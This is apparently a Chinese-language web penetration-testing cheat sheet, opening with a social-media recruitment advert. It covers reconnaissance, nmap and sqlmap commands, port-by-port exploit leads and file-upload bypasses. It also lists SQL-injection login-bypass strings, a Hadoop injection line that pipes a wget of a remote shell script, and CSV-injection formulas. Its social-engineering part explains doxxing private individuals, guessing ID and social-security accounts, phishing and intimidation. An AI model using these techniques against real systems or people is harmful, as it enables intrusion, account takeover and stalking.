獲取更多學習資料、想加入社群、深入學習,請掃我的二維碼或加Memory20000427,誠意教學,白嫖繞道,

寫在開頭:
知識面,決定看到的攻擊面有多廣,
知識鏈,決定發動的殺傷鏈有多深,
0x00 資訊收集
從旁觀者的角度了解整個WEB應用乃至整個目標的全貌,但是資產是收集不完的,可以邊收集,邊進行一定程度的測驗,資訊收集最小的粒度應是目錄,
1.目標確認
1.1域名注冊資訊
通過如下步驟確認目標所有者資訊:
Whois 目標域名/主機名:whois http://example.com
決議目標域名/主機名的IP地址:dig +short http://example.com
獲取域名的詳細決議程序:dig +trace http://example.com
后續用于字典制作和進一步收集目標資訊的基礎
獲取真實IP:
瀏覽器切換手機模式,可能是真實ip,公眾號、小程式中的資產也可能對應真實ip,
驗證是否存在CDN
方法1:
使用各種多地 ping 的服務,查看對應 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 網站有:
http://ping.chinaz.com/
http://ping.aizhan.com/
http://ce.cloud.360.cn/
方法2:
試用nslookup進行檢測,如果回傳域名決議對應多個IP,那么多半是試用了CDN.
nslookup http://example.com
方法3:
在線工具查看是否存在CDN,可以參考以下站點:
http://www.cdnplanet.com/tools/cdnfinder
http://www.ipip.net/ip.html
繞過CDN查找網站真實IP
1.查詢歷史DNS記錄(ip的歷史決議域名,域名的歷史決議ip)
查看 IP 與 域名系結的歷史記錄,可能會存在使用 CDN 前的記錄,相關查詢網站有:
https://dnsdb.io/zh-cn/
https://x.threatbook.cn/
https://censys.io/ipv4?q=baidu.com
非常牛逼的IP記錄站,還能分析內鏈之類找出可能的IP地址,此外還會記錄歷史,
http://viewdns.info
同樣是個令站長十分蛋疼的DNS歷史記錄網站,記錄了幾年內的更改記錄,
http://securitytrails.com
https://site.ip138.com/
龐大的DNS歷史資料庫,可以查出幾年內網站用過的IP、機房資訊等,
http://iphostinfo.com
注意:這個網站可以遍歷FTP、MX記錄和常見二級域名,有些站長喜歡把郵箱服務也放在自己主機上,側面泄露了真實的IP地址,通過這個網站可以進行檢查,
2.查詢子域名(捷徑,去眾測平臺、github找官方發布過的)
注意:有可能有些站長只給主站或流量大的子域名做了CDN,而很多子域名都是和主站在同一臺服務器上,或者 C段中,這樣可以通過子域名來輔助找到網站真實IP
爆破子域名:
主動式
layer子域名挖掘機(字典要自己豐富)
http://z.zcjun.com/(在線子域名挖掘)
fuzzdomain 很好用,速度快
被動式
搜索引擎拿子域名、旁站(同IP網站)、C段:
可用搜索引擎語法查詢子域名:
谷歌、百度、bing、搜狗(搜索微信文章)、雅虎等略有差異
詳細用法:
(1)site: =主域名,搜索其主要域名下面的子域名
(2)allintext: = 搜索文本,但不包括網頁標題和鏈接
(3)allinlinks: = 搜索鏈接, 不包括文本和標題,
(4)related:URL = 列出于目標URL地址有關的網頁,
(5)link:URL = 列出到鏈接到目標URL的網頁清單,
(6)使用“-”去掉不想看的結果,例如site:http://baidu.com http://-image.baidu.com
百度語法:
https://www.cnblogs.com/k0xx/p/12794452.html
谷歌語法:https://blog.csdn.net/u012991692/article/details/82937100?biz_id=102&utm_term=Googlehack&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-0-82937100&spm=1018.2118.3001.4187
GHDB:
https://www.exploit-db.com/google-hacking-database
3.資產搜索(旁站\C段\特征):
https://www.shodan.io(資產相關或特征值關鍵字爆ip)
https://fofa.so
https://www.zoomeye.org/
http://www.yunsee.cn/info.html (云悉在線資產平臺)
http://subdomain.chaxun.la (查詢啦)
https://www.virustotal.com/gui/home/search
https://dnsdumpster.com/
https://duckduckgo.com (一個不會存盤你個人資訊的搜索引擎)
https://crt.sh/(SSL證書查詢)
https://icp.aizhan.com/(域名備案)
4.對方服務器給自己發郵件暴露IP
5.APP客戶端爆ip
1.2DNS資訊查詢
目的:
注冊者名稱及郵箱,再反查其他域名
手機號 座機號
ASN號
地址在線DNS資訊查詢工具
https://dnsdumpster.com/
https://www.dnsdb.io (DNS搜索引擎)
http://searchdns.netcraft.com
http://whois.nawang.cn/
https://whois.aliyun.com/
https://whois.west.cn/
http://whois.chinaz.com/ (站長之家)
https://www.tianyancha.com/ (天眼查)
http://www.gsxt.gov.cn/index.html (國家企業信用資訊系統)
http://www.beianbeian.com/ (ICP備案查詢)
1.3測驗域傳送漏洞
域傳送是一種DNS事務,用于在主從服務器間復制DNS記錄,雖然如今已經很少見主機會開啟,但是還是應該確認一下,一旦存在域傳送漏洞,就意味著你獲取了整個域下面所有的記錄,
dnsrecon -d http://example.com
dnsenum http://example.com 包含自動檢測域傳送漏洞
dnsenum還能爆破子域名,功能比較多,詳見:
https://blog.csdn.net/weixin_43263851/article/details/108955964
1.4業務相關
github泄露:
in:name test #倉庫標題搜索含有關鍵字 SpringCloud
in:descripton test #倉庫描述搜索含有關鍵字
in:readme test #Readme檔案搜素含有關鍵字
stars:>3000 test #stars數量大于3000的搜索關鍵字
stars:1000…3000 test #stars數量大于1000小于3000的搜索關鍵字
forks:>1000 test #forks數量大于1000的搜索關鍵字
forks:1000…3000 test #forks數量大于1000小于3000的搜索關鍵字
size:>=5000 test #指定倉庫大于5000k(5M)的搜索關鍵字
pushed:>2019-02-12 test #發布時間大于 2019-02-12的搜索關鍵字
created:>2019-02-12 test #創建時間大于2019-02-12的搜索關鍵字
user:test #用戶名搜素
license:apache-2.0 test #明確倉庫的 LICENSE 搜索關鍵字
language:java test #在java語言的代碼中搜索關鍵字
user:test in:name test #組合搜索,用戶名test的標題含有test的
網盤泄露:
各種云網盤,詳見蟲部落搜索:
http://magnet.chongbuluo.com
敏感路徑掃描:
https://github.com/ring04h/weakfilescan
2.OSINT 公開情報收集
2.1社工技巧
查看注冊的網站:0xreg reg007
知道賬號去已注冊的網站找回密碼,可以看到打碼后的用戶名、郵箱、真實姓名等資訊,如果運氣好沒準能從資料包或html中找到未被打碼的資訊
可以從這些方面判斷用戶是否注冊過
找回密碼
輸入賬號,如果進入下一步了則該賬號存在
登錄
輸入賬號和密碼,如果提示密碼錯誤,則表示該用戶已存在
注冊
填寫賬號時一般網站會去檢測該賬號是否已存在,如果已存在則會提示不可重復注冊
知道QQ
通過QQ郵箱和QQ號搜索支付寶、淘寶賬號等其他可能的常用平臺
去騰訊\新浪微博搜索
通過微信搜索
查看QQ空間\相冊\地區\星座\生日\昵稱(后續構建字典以及跨平臺搜集)
通過說說、留言、日志找到其好友
加QQ釣魚\共同好友\可能認識的人
知道手機號
搜索QQ、微信、釘釘等社交賬號
在比較火的一些APP和網站上注冊或忘記密碼來判斷是否注冊過賬號
查詢支付寶、QQ交易賬號,嘗試輸入常見姓氏獲取名字(轉賬到該手機號,會提示輸入姓氏驗證)
通過對方的職業、興趣找到該領域知名度較高的社交網站反查
根據在QQ空間、朋友圈等動態用百度識圖識別照片
在微博、ins、Twitter、fb、百度貼吧搜索相近關鍵字,按地域、年齡、男女、用戶名等篩選
留意社交動態
發布時間線
使用什么客戶端 iPhone Android還是瀏覽器
針對客戶端預先制定exploit
注意每一條鏈接 / 圖片 / 視頻鏈接可能包含用戶ID
圖片可能包含水印,exif可能會有GPS定位和手機型別,圖片內容特征
視頻也有可能有水印暴露社交賬號ID,拍攝地點
從最早發布的動態看起,會有很大識訓
一般得到一個賬號的密碼就相當于得到了其他賬號的密碼
一般人不同賬號的用戶名都是相同或相近的
一般人的社交賬號頭像用的都是一樣的
嘗試破解社保、公積金賬號、身份證號(出生地、生日、星座、派出所代碼)
蟲部落快搜之檔案搜索:https://search.chongbuluo.com/
qq群、群檔案、貼吧論壇、目標自用論壇等社交平臺釣魚和資訊泄露(爬郵箱等資訊)
電子郵件偽造、網路釣魚
下載惡意程式
輸入敏感資訊
大部分資訊可以用來生成密碼字典
對人:說服對方達成一致、恐嚇對方(敏感詞、漏洞、病毒、權威機構名稱、),釣魚獲取資訊
2.2搜索引擎OSINT
Google Hacking(baidu\bing\souhu\github)
GoogleHacking常用語法
1、intext:(僅針對Google有效) 把網頁中的正文內容中的某個字符作為搜索的條件
2、intitle: 把網頁標題中的某個字符作為搜索的條件
3、cache: 搜索搜索引擎里關于某些內容的快取,可能會在過期內容中發現有價值的資訊
4、filetype/ext: 指定一個格式型別的檔案作為搜索物件
5、inurl: 搜索包含指定字符的URL
6、site: 在指定的(域名)站點搜索相關內容
GoogleHacking其他語法
1、引號 ” ” 把關鍵字打上引號后,把引號部分作為整體來搜索
2、or 同時搜索兩個或更多的關鍵字
3、link 搜索某個網站的鏈接 link:http://baidu.com即回傳所有和baidu做了鏈接的URL
4、info 查找指定站點的一些基本資訊 GoogleHackingDatabase:
google-hacking-databaseGoogleHacking典型用法(特定資產的萬能密碼也要積累)
管理后臺地址
site:http://target.com intext:管理 | 后臺 | 后臺管理 | 登陸 | 登錄 | 用戶名 | 密碼 | 系統 | 賬號 | login | system
site:http://target.com inurl:login | inurl:admin | inurl:manage
| inurl:manager | inurl:admin_login | inurl:system | inurl:backend
site:http://target.com intitle:管理 | 后臺 | 后臺管理 | 登陸 | 登錄
上傳類漏洞地址
site:http://target.com inurl:file
site:http://target.com inurl:upload
注入頁面
site:http://target.com inurl:php?id=
(批量注入工具、結合搜索引擎)
編輯器頁面
site:http://target.com inurl:ewebeditor
目錄遍歷漏洞
site:http://target.com intitle:index.of
SQL錯誤
site:http://target.com intext:“sql syntax near” | intext:“syntax error has occurred” | intext:“incorrect syntax near” | intext:“unexpected end of SQL command” | intext:“Warning: mysql_connect()” | intext:”Warning: mysql_query()" | intext:”Warning: pg_connect()"
phpinfo()
site:http://target.com ext:php intitle:phpinfo “published by the PHP Group”
組態檔泄露
site:http://target.com ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini
資料庫檔案泄露
site:http://target.com ext:.sql | .dbf | .mdb | .db
日志檔案泄露
site:http://target.com ext:.log
備份和歷史檔案泄露
site:http://target.com ext:.bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar
公開檔案泄露
site:http://target.com filetype:.doc | .docx | .xls | .xlsx | .ppt | .pptx | .odt | .pdf | .rtf | .sxw | .psw | .csv
郵箱資訊
site:http://target.com intext:@http://target.com
site:http://target.com 郵件
site:http://target.com email
社工資訊
site:http://target.com intitle:賬號 | 密碼 | 工號 | 學號 | 身份證
2.3瀏覽器實用插件:
Wappalyzer:識別網站使用的中間件及其版本,再去漏洞庫和搜索引擎找公開披露的漏洞
SwitchOmega:快捷切換代理
shodan:識別開放埠,主機服務等(被動資訊搜集)
hacktools:綜合插件,很強大
firefox滲透便攜版version48,工具集成很多
注意:根據獲得服務、中間件資訊、編輯器版本、資料庫等OSINT去各大漏洞庫、搜索引擎找漏洞利用
2.4烏云和cnvd
烏云庫\烏云鏡像\GHDB\CNVD等公開漏洞庫
0x01 主動探測
從管理員和用戶的角度了解整個WEB應用乃至整個目標的全貌,主動探測會暴露ip以及留下日志資訊,所以要…
1.主動掃描
1.1常見服務漏洞
nmap的功能:
腳本掃描,隱蔽掃描,埠掃描,服務識別,OS識別,探測WAF
nmap腳本主要分為以下幾類,在掃描時可根據需要設定
--script=類別這種方式進行比較籠統的掃描:
auth: 負責處理鑒權證書(繞開鑒權)的腳本
broadcast: 在局域網內探查更多服務開啟狀況,如dhcp/dns/sqlserver等服務
brute: 提供暴力破解方式,針對常見的應用如http/snmp等
default: 使用-sC或-A選項掃描時候默認的腳本,提供基本腳本掃描能力
discovery: 對網路進行更多的資訊,如SMB列舉、SNMP查詢等
dos: 用于進行拒絕服務攻擊
exploit: 利用已知的漏洞入侵系統
external: 利用第三方的資料庫或資源,例如進行whois決議
fuzzer: 模糊測驗的腳本,發送例外的包到目標機,探測出潛在漏洞
intrusive: 入侵性的腳本,此類腳本可能引發對方的IDS/IPS的記錄或屏蔽
malware: 探測目標機是否感染了病毒、開啟了后門等資訊
safe: 此類與intrusive相反,屬于安全性腳本
version: 負責增強服務與版本掃描(Version Detection)功能的腳本
vuln: 負責檢查目標機是否有常見的漏洞(Vulnerability),如是否有MS08_067
nmap --script=auth 192.168.137.*
負責處理鑒權證書(繞開鑒權)的腳本,也可以作為檢測部分應用弱口令
nmap --script=brute 192.168.137.*
提供暴力破解的方式 可對資料庫,smb,snmp等進行簡單密碼的暴力猜解
nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默認的腳本掃描,主要是搜集各種應用服務的資訊,收集到后,可再針對具體服務進行攻擊
nmap --script=vuln 192.168.137.*
檢查是否存在常見漏洞
nmap -n -p445 --script=broadcast 192.168.137.4
在局域網內探查更多服務開啟狀況
nmap --script external 202.103.243.110
利用第三方的資料庫或資源,例如進行whois決議
nmap --script banner ip
nmap -p port -sV ip
獲取軟體版本資訊
nmap -O ip
作業系統資訊,版本
nmap -A -v -sS -T2 ip
完整資訊獲取,詳細顯示,syn探測,高速掃描,系統和服務版本資訊,腳本掃描和路由跟蹤,外網掃描T2比較合適,T4以上不準確
-sN;-sF;-sX
隱蔽掃描
-sN是Null掃描,是通過發送非常規的TCP通信資料包進行探測
nmap -sN 127.0.0.1
-sF是FIN掃描,當我們使用TCP SYN掃描時可能會被目標主機的防火墻發現,會阻止SYN資料包
,這時我們使用TCP FIN掃描方式會有很好的穿透效果.
nmap -sF 127.0.0.1
掃描前1000號TCP埠
nmap 192.168.100.2
Ping掃描8個本地主機(按ARP、ICMP、TCP 80的順序)
nmap –sP 192.168.100.0-7
掃描80,443埠
nmap -p 80,443 192.168.100.2
掃描前1000號TCP埠,OS指紋,服務,然后運行一個NSE腳本
sudo nmap -A 192.168.100.2
掃描全部65535個TCP埠,OS指紋,服務,然后運行一個NSE腳本
sudo nmap –A –p- 192.168.100.2
掃描前1000號UDP埠
sudo nmap -sU 192.168.100.2
掃描所有65535個UDP埠
sudo nmap -sU –p- 192.168.100.2
掃描所有65535個UDP埠,并獲取服務、OS指紋,之后運行一些NSE腳本
sudo nmap –sU -p- -A 192.168.100.2
nmap腦圖備查:見筆記
1.2常見埠漏洞利用
快速掃描:
Masscan -p80,800 ip --rate=10000
21 / FTP
匿名/暴力破解
拒絕服務
22 / SSH
暴力破解
23 / telnet
Winbox(CVE-2018-14847)
https://github.com/BasuCert/WinboxPoC
弱口令 / 暴力破解
161 / snmp
弱口令
https://blog.csdn.net/archersaber39/article/details/78932252
389 / ladp
匿名訪問
https://www.cnblogs.com/persuit/p/5706432.html
ladp注入
http://www.4hou.com/technology/9090.html
https://www.freebuf.com/articles/web/149059.html
443 / ssl
openssl心臟出血
https://paper.seebug.org/437/
http://www.anquan.us/static/drops/papers-1381.html
https://www.freebuf.com/sectool/33191.html
445 / smb
win10拒絕服務
永恒之藍RCE
875 / rsync
匿名訪問
http://www.anquan.us/static/bugs/wooyun-2016-0190815.html
https://paper.seebug.org/409/
http://www.91ri.org/11093.html
1433 / mssql
暴力破解
http://www.anquan.us/static/drops/tips-12749. html
https://www.seebug.org/appdir/Microsoft%20SQL%20Server
1521 / oracle
暴力破解
https://www.exploit-db.com/exploits/33084
2601 / zebra
http://www.anquan.us/static/bugs/wooyun-2013-047409.html
3128 / squid
3306 / mysql
RCE
http://www.91ri.org/17511.html
CVE-2015-0411
hash破解
https://www.freebuf.com/column/153561.html
waf繞過
https://www.freebuf.com/articles/web/155570.html
general_log_file getshell
https://www.freebuf.com/column/143125.html
提權
http://www.91ri.org/16540.html
3312 / kangle
getshell
https://www.secpulse.com/archives/23927.html
3389 / rdp
shift 放大鏡 輸入法繞過 guest用戶
永恒之藍(ESTEEMAUDIT)
https://www.freebuf.com/articles/system/132171.html
https://www.anquanke.com/post/id/86328
ms12-020
https://blog.csdn.net/meyo_leo/article/details/77950552
4440 / rundeck
https://www.secpulse.com/archives/29500.html
4848 / glassfish
檔案讀取
https://www.secpulse.com/archives/42277.html
https://www.anquanke.com/post/id/85948
GlassFish2 / admin:admin GlassFish3,4 / 如果管理員不設定帳號本地會自動登錄,遠程訪問會提示配置錯誤
5432 / PostgreSQL
RCE
https://www.cnblogs.com/KevinGeorge/p/8521496.html
https://www.secpulse.com/archives/69153.html
默認賬號postgres
參考
http://www.91ri.org/13070.html
http://www.91ri.org/6507.html
5672,15672,4369,25672 / RabbitMQ
(guest/guest)
5900 / VNC
https://www.seebug.org/appdir/RealVNC
5984 / CouchDB
http://xxx:5984/_utils/
6082 / varnish
CLI 未授權
https://www.secpulse.com/archives/10681.html
6379 / redis
Redis未授權
ssh publickey
crontab
webshell
反序列化
開機自啟檔案夾寫bat
參考
https://www.freebuf.com/column/170710.html
7001,7002 / WebLogic
默認弱口令
weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic
反序列
CVE-2018-2628
https://www.freebuf.com/articles/web/169770.html
https://www.seebug.org/appdir/WebLogic
9200,9300 / elasticsearch
CVE-2015-1427
http://www.anquan.us/static/drops/papers-5142.html
CVE-2018-17246
https://www.seebug.org/vuldb/ssvid-97730
參考
https://www.seebug.org/search/?keywords=elasticsearch
9000 / fcgi
https://paper.seebug.org/289/
9043 / WebSphere
Websphere8.5
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7
http://localhost:9043/ibm/console
后臺未授權,登錄后可部署WAR包
SOAP服務有反序列化
弱口令:admin / password
11211 / memcache
未授權
UDP反射
https://shockerli.net/post/memcached-udp-reflection-attack-bug/
27017,27018 / Mongodb
未授權
注入
https://www.anquanke.com/post/id/83763
phpMoAdmin RCE
https://www.aqniu.com/threat-alert/6978.html
50000 / SAP
SAP命令執行
https://www.secpulse.com/archives/20204.html
50070,50030 / hadoop
未授權
https://www.freebuf.com/vuls/173638.html
命令執行
host:50060/pstack?pid=123|wget http://somehost/shell.sh
https://www.seebug.org/search/?keywords=hadoop
其他
http://www.91ri.org/15441.html
1.3WAF及bypass
探測WAF
Nmap探測WAF有兩種腳本,
一種是http-waf-detect,一種是http-waf-fingerprint,
nmap -p port --script=http-waf-detect ip
wafw00f -a http://example.com
sqlmap-u “http://www.vxxxx.org/ex.php?id=1” --identify-waf
bypass:
手工注入,詳見筆記
1.4目錄、后臺和敏感路徑檔案掃描
御劍目錄(土司專版,筆記里有)、后臺掃描(圖片屬性地址暴露),
完善目錄和賬密字典方法:
基礎字典包合并去重
dymerge.py -u
python pydictor.py -tool uniqbiner /my/dict/dirpath --output uniq.txt
python pydictor.py -tool uniqifer /tmp/dicts.txt --output /tmp/uniq.txt
2.人工瀏覽\逐個請求burp
非常重要,有必要手動去瀏覽每個頁面,點擊頁面上每一個跳轉,這樣在Burp的sitemap里面就可以出現這些請求和回應,
圖片后臺地址\圖片后面的資訊
跳轉引數\奇怪的引數
泄露郵箱等社工資訊
業務邏輯\架構
3.自動化
自動化滲透測驗框架:(待補充)
Sn1per
Ary
自動化資訊收集效率較高,從github上多找一找,也可以自己寫
0x02 漏洞挖掘
1.漏洞掃描工具
注意:登錄類網站掃描要帶cookies掃才能掃到
1.1Nikto Web服務漏洞掃描器
Tips:利用-Format選項來匯出特定格式的掃描結果,使掃描結果更容易閱讀和分析,
nikto -host http://example.com -output ~/nikto.html -Format html
NIKTO使用方法:
1、命令:nikto -update #升級,更新插件;
2、Nikto -list-plugins #查看插件;
3、Nikto -host http://1.1.1.1 #掃描目標:域名方式;
4、Nikto -host http://1.1.1.1 -output #掃描并輸出結果
5、Nikto -host 1.1.1.1 -port 80 #掃描目標:ip地址加埠號
6、Nikto -host http://www.baidu.com -port 443 -ssl #掃描https網站
7、Nikto -host 檔案名.txt #批量掃描目標
8、nmap -p80 192.168.1.0/24 -oG - | nikto -host -
#利用nmap掃描開放80埠的IP段并且oG(nmap結果輸出并整理)通過管道的方式
“|”用nikto進行掃描
9、nikto -host 192.168.0.1 -useproxy http://localhost:8070
#利用代理進行掃描
10、-vhost
#當一個網站存在多個埠時可以使用-vhost
遍歷所有網站進行掃描或一個ip對應多個網站
11、Nikto互動形引數
組態檔:
路徑:/etc/nikto.conf
User Agent中文名為用戶代理,簡稱 UA,它是一個特殊字串頭,使得服務器能夠識別客戶使用的作業系統及版本;
在nikto中最好修改成別的瀏覽器user agent;
設定cookie:
在組態檔中找到cookie進行設定(#STATIC-COOKIE= “cookie1”=“cookie value”;“cookie2”=“cookie val”)
IDS逃避技術:
主要為了躲避IDS、IPS檢測告警-evasion #此引數使用方式(Nikto -host http://1.1.1.1 -evasion 1234)
逃避方式共8種:
1、隨機url編碼,2、自選路徑,3、過早結束的URL
4、優先考慮長隨機字串5、引數欺騙
6、使用TAB作為命令的分隔符,7、使用變化的URL
8、使用Windows路徑分隔符
1.2AWVS漏掃
這個沒什么好說的,破解版到處都是,
1.3NESSUS
實時更新插件的漏掃,很好用,就是激活流程麻煩,
https://www.wuyini.cn/765.html
1.4Xray自動化的漏洞挖掘
burp+xray:
BurpSuite + Xray 被動掃描配置 - Ritte - 博客園
或者直接掛瀏覽器,點到哪里,掃到哪里
xray+各種漏掃聯動
1.5Fuzz
Fuzz可以發現應用程式中沒有被參考但是確實是可以訪問的頁面,
Discover Content是Burp中專門用于此目的的工具,
Burp Intruder也可以通過字典攻擊來實施強制瀏覽(通常是在url引數和檔案路徑部分進行修改),爆破、注入等,
FuzzDB包含一些用于此目的的非常牛逼的字典,
2.挖掘漏洞
2.1SQL注入:
初步測驗:見框就上,加’ " ) ))% and 1=1 and 1=2 and2-1 or ,
抓包爆破常用SQL注入payload字典,上burp intruder
純手工注入和手工繞過waf,詳見筆記,
通過搜索引擎,批量查找注入點,詳見筆記,
然后用傀儡注入點批量搜集工具
實操案例:
sql注入思路(登錄界面)和網路常用埠_u011975363的專欄-CSDN博客
超級SQL注入工具(github)
sqlmap一把梭:
注意:命令為kali linux中運行的 (windows中用python sqlmap.py執行)
注入六連:
1.sqlmap -u “http://www.xx.com?id=x” 查詢是否存在注入點
2.–dbs 檢測站點包含哪些資料庫
3.–current-db 獲取當前的資料庫名
4.–tables -D “db_name” 獲取指定資料庫中的表名 -D后接指定的資料庫名稱
5.–columns -T “table_name” -D “db_name” 獲取資料庫表中的欄位
6.–dump -C “columns_name” -T “table_name” -D “db_name”
獲取欄位的資料內容
COOKIE注入:
sqlmap -u “http://www.xx.com/xxx.asp” --cookie “id=XXX cookie” --level 2 \
cookie注入 后接cookie值
POST注入:
(1)目標地址http:// http://www.xxx.com /login.asp
(2)打開burp代理
(3)點擊表單提交
(4)burp獲取攔截資訊(post)
(5)右鍵保存檔案(.txt)到指定目錄下
(6)運行sqlmap并執行如下命令:
用例:sqlmap -r okay.txt -p username
// -r表示加載檔案(及步驟(5)保存的路徑)
-p指定引數(即攔截的post請求中表單提交的用戶名或密碼等name引數)
(7)自動獲取表單:–forms自動獲取表單
例如:sqlmap -u http://www.xx.com/login.asp --forms
(8)指定引數搜索:–data
例如:sqlmap -u http://www.xx.com/login.asp --data “username=1”
常用指令:
- –purge 【重新掃描(–purge 洗掉原先對該目標掃描的記錄)
- –tables 【獲取表名
- –dbs 【檢測站點包含哪些資料庫
- –current-db 【獲取當前的資料庫名
- –current-user 【檢測當前用戶
- –is-dba 【判斷站點的當前用戶是否為資料庫管理員
- –batch 【默認確認,不詢問你是否輸入
- –search 【后面跟引數 -D -T -C 搜索列(C),表(T)和或資料庫名稱(D)
- –threads 10 【執行緒,sqlmap執行緒最高設定為10
10.–level 3 【sqlmap默認測驗所有的GET和POST引數,當–level的值大于等于2的時候也會測驗HTTP Cookie頭
的值,
當大于等于3的時候也會測驗User-Agent和HTTP Referer頭的值,最高為5
11.–risk 3 【執行測驗的風險(0-3,默認為1)risk越高,越慢但是越安全
12.-v 【詳細的等級(0-6)
0:只顯示Python的回溯,錯誤和關鍵訊息,
1:顯示資訊和警告訊息,
2:顯示除錯訊息,
3:有效載荷注入,
4:顯示HTTP請求,
5:顯示HTTP回應頭,
6:顯示HTTP回應頁面的內容 - –privileges 【查看權限
- –tamper xx.py,cc.py 【防火墻繞過,后接tamper庫中的py檔案
- –method “POST” --data “page=1&id=2” 【POST方式提交資料
- –threads number 【采用多執行緒 后接執行緒數
- –referer “” 【使用referer欺騙
- –user-agent “” 【自定義user-agent
- –proxy “目標地址″ 【使用代理注入
sqlmap常用路徑:
- 添加表欄位的目錄在/usr/share/sqlmap/txt/common-tables.txt
- 存放掃描記錄的目錄在/root/.sqlmap/output
高階玩法:
自己寫tamper.py
2.2XSS:
xss漏洞原理分析與挖掘方法 - 知乎
web漏洞 | XSS(跨站攻擊腳本)詳解
XSS匯總
XSS小結 - 先知社區
2020跨站點腳本[xss]速查表|雨蓯
XSSer自動化工具
XSStrike 自動化繞過WAF
xss payload字典 burp爆破
客服對話系統上XSS打cookie
搭建XSS平臺 3s.wf/
http://xssor.io
2.3檔案上傳
字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder
檔案上傳繞過總結,詳見筆記
目錄穿越
上傳后如果沒有被檔案重命名,可以在檔案名值做目錄跳轉
注意一些像目錄的引數名
dir path location url
檔案頭繞過
修改上傳型別 Content-Type
雙檔案上傳
截斷
長檔案名
長Content-Disposition
%00截斷
特殊檔案
svg / html / htm / swf
xss
pdf
chrome 里可以跳轉
cer / asa / spx / php5 / phtml
可能會被當做動態語言決議
.htaccess / .user.ini / web.config / web.xml
修改決議規則
.xls / .xlsx
POI Excel XXE
.tar / .tar.gz / .zip
可能存在檔案釋放目錄跳轉問題
.pkl
python反序列化檔案
.xml
可能有 XXE
.yaml / .yml
YAML 反序列化
.jar / .class
上傳到 java classpath 的目錄下,類被加載時執行代碼
無大小和次數限制
無限上傳制造垃圾資料堵死硬碟
有圖片加工的地方可以注意一下imagemagick命令執行
檔案讀取
讀取系統敏感檔案
檔案包含
可讀取檔案或代碼執行
檔案洗掉
洗掉組態檔可破壞網站
洗掉安裝鎖可重裝
檔案解壓
如果上傳檔案為 tar / tar.gz 型別,可以嘗試構壓縮包內檔案名為…/…/…/…/xxx 的tar包
檔案匯出
如果是CSV 或者 Excel可以注意一下CSV注入
=2222-1
-1+1=2222-1
@=2222-1
\r\n=2222-1
111,=2222-1,
2.4命令執行
命令注入
--xxxx 引數注入
| 和 | | 與符號
& 和 && 與符號
; 分號
${}
代碼執行
運算式
freemarker
OGNL
Spel
jsel
非運算式(php)
eval
assert
call_user_func() / call_user_func_array()
preg_replace()
create_function()
array_map()
array_filter()
usort() / uasort()
反序列化
php 源檔案拼接寫入
java
反序列化
遠程 jar 加載
反射機制
jsp 源檔案拼接寫入
2.5弱口令及字典破解
后臺弱口令爆破撞庫
(嘗試萬能密碼、特定資產常用密碼、弱口令后再撞庫、有的資料庫要輸對用戶名再注釋
我的github有收集的字典 https://github.com/hackerX2021)
asp aspx萬能密碼
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6: "or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: 'xor
16: 新型萬能登陸密碼
用戶名 ' UNION Select 1,1,1 FROM admin Where ''=' (替換表名admin)
密碼 1
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1
17..admin' or 'a'='a 密碼隨便
PHP萬能密碼
'or'='or'
'or 1=1/* 字符型 GPC是否開都可以使用
User: something
Pass: ' OR '1'='1
jsp 萬能密碼
1'or'1'='1
admin' OR 1=1/*
用戶名:admin 系統存在這個用戶的時候 才用得上
密碼:1'or'1'='1
pydictor、cupp、crunch字典生成工具、自寫字典生成py(小黑的人名字典py);
dymerge字典合并去重工具、自己寫去重py;hydra爆破工具
tips:
超級弱口令檢驗工具
burpsuite 爆破
使用弱用戶名對密碼進行暴力破解
使用弱口令密碼對用戶名進行暴力破解
2.6邏輯漏洞
Cookie
一些網站會利用 Cookie 是否為空、Session 是否為 true 來判斷用戶是否可以登錄,只要構造一個 Cookie 或 Session 為 true 就可以繞過認證登錄
通過修改 Cookie 中的某個引數來實作登錄其他用戶,要抓包具體分析
資料篡改
數量、金額、ID、郵箱等資料:最大超過限制、負數、0、其他用戶資料,提交后查看是否進入正常業務流程,是否存在越權
例子:
修改普通用戶密碼,抓包
將 Referer 和 POST 中的普通用戶改成 admin
提交資料后,直接回傳了 admin 的密碼修改頁面,利用邏輯漏洞獲取超級權限
抓包修改手機號引數為其他號碼進行嘗試,例如辦理查詢頁面,輸入自己的號碼然后抓包,修改手機號為他人號碼,查看是否可以查詢他人業務
手機號 篡改
郵箱或者用戶 篡改
訂單ID 篡改
商品編號 篡改
用戶ID 篡改
金額 篡改
商品數量 篡改
驗證碼繞過
drop掉頁面
回傳包里可能就有驗證碼
一次驗證碼多用
驗證碼識別插件,burp
注冊界面:
任意用戶注冊
可爆破用戶名
注入
XSS
登錄界面:
爆破用戶名、密碼
注入
萬能密碼
Xss Xss+Csrf
修改回傳包資訊,登入他人賬戶
修改cookie中的引數,如user,admin,id等
干貨 | 登錄點測驗的Tips
忘記密碼界面:
任意密碼重置概要:
1.重置一個賬戶,不發送驗證碼,設定驗證碼為空發送請求,
2.發送驗證碼,查看相應包
3.驗證碼生存期的爆破
4.修改相應包為成功的相應包
5.手工直接跳轉到校驗成功的界面
6.兩個賬戶,重置別人密碼時,替換驗證碼為自己正確的驗證碼
7.重置別人密碼時,替換為自己的手機號
8.重置自己的成功時,同意瀏覽器重置別人的,不發驗證碼
9.替換用戶名,ID,cookie,token引數等驗證身份的引數
10.通過越權修改他人的找回資訊如手機/郵箱來重置
用戶憑證暴力破解(驗證碼)
繞過的話,這里可以考慮一個現狀:
例如:
phone=18888888888abc
國內很多情況下都沒有過濾字符和限制輸出長度,驗證很有可能只是簡單的處理
只要更換手機號后面的字符,就可以繞過請求過于頻繁的限制
但是校驗時,手機號后面的字符會被過濾,也就是可以利用暴力破解驗證碼(不計入次數)
